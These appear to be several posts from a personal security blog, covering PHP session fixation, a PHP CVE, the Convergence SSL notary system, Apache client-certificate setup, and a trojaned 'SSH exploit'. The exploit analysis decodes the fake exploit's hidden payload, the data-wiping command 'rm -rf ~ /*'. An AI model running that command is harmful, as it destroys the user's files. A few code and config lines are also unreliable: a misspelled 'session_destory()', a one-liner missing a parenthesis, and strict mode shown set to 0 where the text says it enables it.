Ok it’s a bit late But i have been laying under a rock for the last week. And i guess it can’t hurt!

Last week a critical bug was discovered in PHP. Which affects versions 5.3.9 and 5.2.17. The bug could be exploited to run arbitrary code on a remote PHP system. So upgrade your systems. And of course Stefan Esser popped up with some wise words :)… O well i still think the guy does great work.

More info about the issue can be found on packetstorm (CVE-2012-0830)

For years PHP has been vulnerable to session adoption which can enable session fixation. And since sessions are a major part of web applications now a days. A lot of platforms are open and waiting for an attack to happen.

session adoption & session fixation

The problem exists because the current session module does not validate the session id that comes in from a cookie. This means uninitialized session id’s can be passed by the client. This happens due to the fact that browsers overwrite cookie if multiple cookies are send per request.
Some people would say this is solvable by implementing session_regenerate_id(). But this is not the case.

Because session fixation can be used to take over control of web applications. Validation is required when multiple cookies are send per request. When multiple cookie are send with a request. Browsers send multiple cookies without domain / path information. This way it’s impossible to tell which cookie belongs to which domain.

So how do we fix this?

There is some userland code that does offer the ability to validate session data. But this has not been widely adopted by other developers.

Code that adds the session ID as a validation key:

session_destory();
session_regenerate_id();
$_SESSION['valid_id'] = session_id();

And the code to check if the session was properly initialized:

if ($_SESSION['valid_id'] !== session_id()) {
  die('Invalid use of session ID');
}

Thank god the internal developer know this. And are working to fix this. For the past days there has been an interesting discussion going on on the internals list. About applying a patch that will fix this. The patch will add some new php.ini features and a new method validate_id() for the session save handler. Hopefully this will be available in version 5.4.

To not break BC strict_mode will be disabled by default. But can be enabled by setting the following setting in php.ini. When enabled uninitialized session ID will be discarded.

session.use_strict_mode=0

To prevent a DoS instead of session fixation. An new feature has been added that deletes possible malicious cookies that prevent new session ID.

session.safe_session_cookie=1

You can read more about session fixation and the upcoming patch on the PHP-Wiki

Last week i had a blast while listening to Moxie Marlinspike’s Blackhat talk the past and future of SSL. The video is an absolute must see if you have any concern about the current state of SSL or the whole web for that matter.

As many know. There has been quite the turmoil in the SSL world lately with some big CA’s (Comodo, StartCom, Diginotar, GlobalSign) getting hacked. And rogue certificates being generated for major domains like microsoft.com, google.com, etc for who knows what type of malicious purpose. The real problem here are the centralized CA’s. For SSL to work you need to explicitly trust the major CA’s. And if one gets hacked. Well.. we know the deal by now. And the funny thing is that Moxie mentions in his talk. The whole CA wasn’t even part of the original SSL protocol. As the creator of SSL said “It’s something we through in at the end”.

But instead of only bashing the CA’s. Moxie comes with a solution to the problem. In the form of a new protocol Convergence, Which exists of a client and a server package. The client right now is a simple Firefox extension. And when installed it disables the current CA system in the browser. And will use one or more of the selected notaries instead. It even works with self signed certificates. And the back-end is a modular one. And the standard CA verification can be swapped with for instance DNSSEC based verification.

There is still a level of trust involved. But you won’t lay all your trust in one specific CA. Convergence uses notaries. Notaries are anonymous nodes that can be picked at will and can be used to verify the requested certificate. And like i said the notaries are anonymous. No more browser leakage at this point. One of th notaries will act as a bounce node to which a SSL connection is made. All other notaries are contacted through this secure connection.

I am probably not the best person to explain this all. So go ahead and listen/watch Moxie’s talk and form your own opinion. But i think everybody should install this Firefox plugin. And forget about the whole CA system. I went ahead and installed a notary node myself. Which can be found here. More information about setting up a notary node yourself can be found here

What should have been a simple assignment turned out to be a hair pulling endeavour. The ultimate goal was to read the client side certificate data in PHP. I am by no means a system administrator. And the SSL part will probably be done by somebody more experienced. And the certificates will be signed by real CA’s. But for developing locally i need something functioning.

So i spend the last hours trying to get client side certificates working. With absolutely no luck. I found a bunch of posts by doing Google searches. But none of them seem to offer the proper information for creating good client side certificates. Creating the CA and the server certificate is no problem at all. But creating a client side certificate seems impossible. Some of the post i tried:

http://www.modssl.org/docs/2.7/ssl_faq.html
http://www.vanemery.com/Linux/Apache/apache-SSL.html
http://www.linuxconfig.org/apache-web-server-ssl-authentication
https://help.ubuntu.com/community/OpenSSL
https://help.ubuntu.com/8.04/serverguide/C/httpd.html
http://it.toolbox.com/blogs/securitymonkey/howto-securing-a-website-with-client-ssl-certificates-11500

You would have thought that something like this would have been documented pretty well by now. But no luck for me. This only resulted in

[debug] ssl_engine_kernel.c(1879): OpenSSL: Read: SSLv3 read client certificate A
[debug] ssl_engine_kernel.c(1898): OpenSSL: Exit: failed in SSLv3 read client certificate A
[info] [client xxx.xxx.xxx.xx] SSL library error 1 in handshake (server lab:443)
[info] SSL Library Error: 336151570 error:14094412:SSL routines:SSL3_READ_BYTES:sslv3 alert bad certificate Subject CN in certificate not server name or identical to CA!?

So after almost giving up i found the CA.sh script hidden in /usr/lib/ssl/misc this little sucker seems to do the job pretty well. Creating a CA, server certificate and client side certificate is extremely easy. So i settled for that.

Creating the CA

$ cd /usr/lib/ssl/misc
$ /CA.sh -newca
CA certificate filename (or enter to create)

Making CA certificate …
Generating a 1024 bit RSA private key
…………………..++++++
………………………………++++++
writing new private key to ‘./demoCA/private/./cakey.pem’
Enter PEM pass phrase:
Verifying – Enter PEM pass phrase:

And fill out some basic certificate data

Country Name (2 letter code) [AU]:NL
State or Province Name (full name) [Some-State]:NH
Locality Name (eg, city) []:Purmerend
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Bluesignal
Organizational Unit Name (eg, section) []:lab
Common Name (eg, YOUR name) []:lab
Email Address []:my@email.tld

Creating the server certificates

$ ./CA.sh -newreq
Generating a 1024 bit RSA private key
.++++++
…………………………………………………………………………++++++
writing new private key to ‘newkey.pem’
Enter PEM pass phrase:
Verifying – Enter PEM pass phrase:

Fill out the same basic certificate data

Country Name (2 letter code) [AU]:NL
State or Province Name (full name) [Some-State]:NH
Locality Name (eg, city) []:Purmerend
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Bluesignal
Organizational Unit Name (eg, section) []:lab
Common Name (eg, YOUR name) []:lab
Email Address []:my@email.tld

Sign the sucker

$ ./CA.sh -sign
Using configuration from /etc/ssl/openssl.cnf
Enter pass phrase for ./demoCA/private/cakey.pem:
Check that the request matches the signature
Signature ok

The only thing left to do is creating the client side certificate

openssl pkcs12 -export -in newcert.pem -inkey newkey.key -out username.p12 -name “Client Certificate”

Time to configure Apache2. I used the standard default-ssl virtual host and just reconfigured it

SSLEngine on
SSLProtocol -all +TLSv1 +SSLv3
SSLCipherSuite HIGH:MEDIUM
SSLProxyEngine off
SSLOptions +StrictRequire +OptRenegotiate +StdEnvVars +ExportCertData

SSLCertificateFile /usr/lib/ssl/misc/newcert.pem
SSLCertificateKeyFile /usr/lib/ssl/misc/newkey.pem
SSLVerifyClient require
SSLVerifyDepth 1

SSLCertificateChainFile /usr/lib/ssl/misc/demoCA/cacert.pem
SSLCACertificatePath /usr/lib/ssl/misc/demoCA/certs
SSLCACertificateFile /usr/lib/ssl/misc/demoCA/cacert.pem

reboot Apache2

$ /etc/init.d/apache2 restart

The server side is ready. But it is still impossible to connect at this moment. We need to install the client certificate inside Firefox

Edit > Preferences > Advanced > View Certificates

Choose import and browse to the newly created *.p12 certificate file.

Now i can finally connect based on my client side certificate and read the pieces of data i was looking for. Which can easily found by doing

print_r($_SERVER);

Some of the stuff i was looking for

[SSL_CLIENT_S_DN_C] => NL
[SSL_CLIENT_S_DN_ST] => NH
[SSL_CLIENT_S_DN_L] => Purmerend
[SSL_CLIENT_S_DN_O] => Bluesignal
[SSL_CLIENT_S_DN_OU] => lab
[SSL_CLIENT_S_DN_CN] => lab
[SSL_CLIENT_S_DN_Email] => my@email.tld
[SSL_CLIENT_I_DN_C] => NL
[SSL_CLIENT_I_DN_ST] => NH
[SSL_CLIENT_I_DN_O] => Bluesignal
[SSL_CLIENT_I_DN_OU] => lab
[SSL_CLIENT_I_DN_CN] => lab
[SSL_CLIENT_I_DN_Email] => my@email.tld

Now it’s time for the fun part.

After a successful experiment a while back Month of the PHP Bugs. Stefan Esser and SektionEins is at it again. This time with Month of PHP Security. A gathering for PHP and security gurus a like. The call for papers is open for submission.

There are some nice prices to walk away with. So what you waiting for?

• New vulnerability in PHP [1] (not simple safe_mode, open_basedir bypass vulnerabilities)
• New vulnerability in PHP related software [1] (popular 3rd party PHP extensions/patches)
• Explain a single topic of PHP application security in detail (such as guidelines on how to store passwords)
• Explain a complicated vulnerability in/attack against a PHP widespread application [1]
• Explain a complicated topic of attacking PHP (e.g. explain how to exploit heap overflows in PHP’s heap implementation)
• Explain how to attack encrypted PHP applications
• Release of a new open source PHP security tool
• Other topics related to PHP or PHP application security

So there have been a lot of rumors lately about some remote SSH exploit. And to throw a bit of fuel on the fire some hacker / group have released what they call an exploit. This piece of code is just hilarious. At a first glance it looks like a real exploit. But when you take the time to decode the HEX blocks. It will become obvious this is not what it seems to be.

there are three blocks with HEX characters. The last two transform into some perl scripts that seem to make contact with an IRC server. This code seems to be bogus. The first and smallest HEX block is interesting though.

\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f
\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26

When decoded back to ASCII characters. This reads:

rm -rf ~ /* 2> /dev/null &

The code used for the decoding is a simple PHP script:

foreach (explode('\x', $str) as $char) echo chr(hexdec($char);

My wife just send me a link to security.nl. Pointing to an article about XSS vulnerability in Dutch banking websites. And since i am from the Netherlands. I thought to check this out a bit.

security.nl states that a “security researcher” found XSS bugs in most of Dutch websites. With a link that seems to point to the “researchers” blog. I don’t know about you. But i personally don’t trust websites that i never seen before. Let alone “researchers” that have absolutely no credibility in the scene. However the XSS bugs are real. But is this really something to write about? Showing an alert box on a screen shot seems very lame to me. I wonder if this is even exploitable at all?

One good point is that at least one bank responded in time and fixed the bug.